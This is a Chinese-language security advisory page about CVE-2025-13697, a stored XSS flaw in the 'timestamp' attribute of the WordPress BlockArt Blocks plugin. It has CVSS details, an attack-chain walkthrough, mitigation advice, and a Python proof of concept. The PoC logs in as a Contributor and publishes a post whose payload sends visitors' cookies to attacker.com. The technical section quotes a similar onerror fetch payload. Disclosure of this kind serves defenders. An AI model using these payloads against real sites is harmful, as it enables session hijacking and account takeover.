IPBUF安全漏洞报告
English
CVE-2025-13697 CVSS 6.4 中危

CVE-2025-13697 | WordPress BlockArt Blocks插件存储型XSS漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-13697
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
BlockArt Blocks – Gutenberg Blocks, Page Builder Blocks, WordPress Block Plugin, Sections & Template Library

相关标签

CVE-2025-13697存储型XSSWordPress插件漏洞BlockArt BlocksCross-Site ScriptingAuthenticated XSSWordPress安全

漏洞概述

CVE-2025-13697是WordPress BlockArt Blocks插件中的一个存储型跨站脚本(XSS)漏洞。该插件是一款流行的Gutenberg块编辑器扩展插件,提供页面构建器块和模板库功能。漏洞源于插件对'timestamp'属性的输入验证和输出转义处理不当,攻击者可通过注入恶意JavaScript脚本实现持久化攻击。由于WordPress的权限设计,具有Contributor级别权限的认证用户即可利用此漏洞,无需管理员权限。攻击成功后,恶意脚本会在所有访问被注入页面的用户浏览器中执行,可能导致会话劫持、凭据窃取、恶意重定向等严重后果。此漏洞影响所有2.2.13及以下版本,建议用户立即升级到最新修复版本。

技术细节

漏洞根源在于BlockArt Blocks插件的timestamp参数处理逻辑存在缺陷。当用户在块编辑器中创建或编辑内容时,timestamp值被直接存储到数据库而未经过严格的输入验证。在后续页面渲染过程中,该值被回显到HTML输出时缺少适当的输出转义处理。攻击者只需在timestamp属性中注入类似<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>的恶意代码。由于存储型XSS的特性,恶意脚本会被永久保存在数据库中,每当有用户访问包含该注入内容的页面时,脚本会自动执行。攻击者可结合社会工程学手段诱导管理员访问特定页面,从而窃取管理员会话cookie并进一步获取网站后台控制权限。CVSS 3.1评分6.4反映了该漏洞通过网络可利用、需要低权限认证、影响机密性和完整性但不影响可用性的特点。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用的WordPress版本和BlockArt Blocks插件版本,确认版本号≤2.2.13
STEP 2
Authentication
攻击者获取目标WordPress网站的Contributor级别账户,可通过注册功能或社会工程学手段获取
STEP 3
Payload Injection
攻击者登录后创建或编辑文章,在timestamp块属性中注入恶意JavaScript代码,如<script>标签或事件处理器
STEP 4
Persistence
包含恶意代码的内容被保存到数据库中,由于是存储型XSS,payload会持久存在于页面中
STEP 5
Trigger
当其他用户(管理员、编辑、访客)访问包含注入内容的页面时,恶意脚本自动在其浏览器中执行
STEP 6
Impact Execution
攻击者可窃取用户cookie、会话令牌,进行恶意重定向,或在用户权限下执行操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13697 PoC - BlockArt Blocks Stored XSS # Target: WordPress site with BlockArt Blocks plugin <= 2.2.13 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = sys.argv[2] if len(sys.argv) > 2 else 'contributor_user' password = sys.argv[3] if len(sys.argv) > 3 else 'user_password' session = requests.Session() # Step 1: Login as Contributor user login_url = f'{target}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed') sys.exit(1) print('[+] Login successful') # Step 2: Create post with XSS payload in timestamp attribute post_url = f'{target}/wp-admin/post-new.php' xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' post_data = { 'post_title': 'XSS Test Post', 'content': f'<!-- wp:blockart-blocks/timestamp-block {{"timestamp":"{xss_payload}"}} -->Test<!-- /wp:blockart-blocks/timestamp-block -->', 'post_status': 'publish' } resp = session.post(post_url, data=post_data) if resp.status_code == 200: print('[+] Malicious post created successfully') print(f'[+] XSS payload stored in timestamp attribute') print(f'[+] Payload: {xss_payload}') print('[+] Any user viewing this post will execute the injected JavaScript')

影响范围

BlockArt Blocks WordPress Plugin <= 2.2.13

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时措施:(1)暂时禁用BlockArt Blocks插件;(2)限制用户注册功能,禁止新用户注册为Contributor角色;(3)使用Wordfence等安全插件启用防火墙规则阻断XSS攻击;(4)对所有访问后台的文章编辑页面启用双因素认证;(5)考虑使用网站应用防火墙(WAF)服务如Cloudflare、Sucuri等提供额外保护层;(6)监控wp_posts和wp_postmeta表中的异常内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表